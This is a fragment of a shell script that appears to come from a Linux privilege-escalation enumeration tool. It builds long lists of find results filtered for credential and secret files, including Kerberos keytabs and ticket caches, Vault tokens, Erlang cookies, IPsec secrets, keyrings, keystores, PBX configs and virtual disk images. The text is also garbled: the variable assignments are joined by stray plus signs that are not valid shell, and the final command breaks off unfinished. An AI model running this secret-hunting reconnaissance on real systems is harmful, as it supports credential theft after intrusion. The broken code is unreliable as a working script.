PSTORAGE_ROAD_RECON=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.roadtools_auth$" | sort | uniq | head -n 70) + PSTORAGE_FREEIPA=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "ipa$|dirsrv$" | sort | uniq | head -n 70) + PSTORAGE_KERBEROS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "krb5\.conf$|.*\.keytab$|\.k5login$|krb5cc_.*$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_KIBANA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_GRAFANA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "grafana\.ini$" | sort | uniq | head -n 70) + PSTORAGE_KNOCKD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/etc/init.d/' | grep -E "^${ROOT_FOLDER}etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) + PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "logstash$" | sort | uniq | head -n 70) + PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.vault-token$" | sort | uniq | head -n 70) + PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "couchdb$" | sort | uniq | head -n 70) + PSTORAGE_REDIS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "redis\.conf$" | sort | uniq | head -n 70) + PSTORAGE_MOSQUITTO=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) + PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "neo4j$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_ERLANG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) + PSTORAGE_SIP=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "sip\.conf$|amportal\.conf$|FreePBX\.conf$|Elastix\.conf$" | sort | uniq | head -n 70) + PSTORAGE_GMV_AUTH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IPSEC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) + PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.irssi$" | sort | uniq | head -n 70) + PSTORAGE_KEYRING=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70) + PSTORAGE_VIRTUAL_DISKS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.vhd$|.*\.vhdx$|.*\.vmdk$" | sort | uniq | head -n 70) + PSTORAGE_FILEZILLA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E 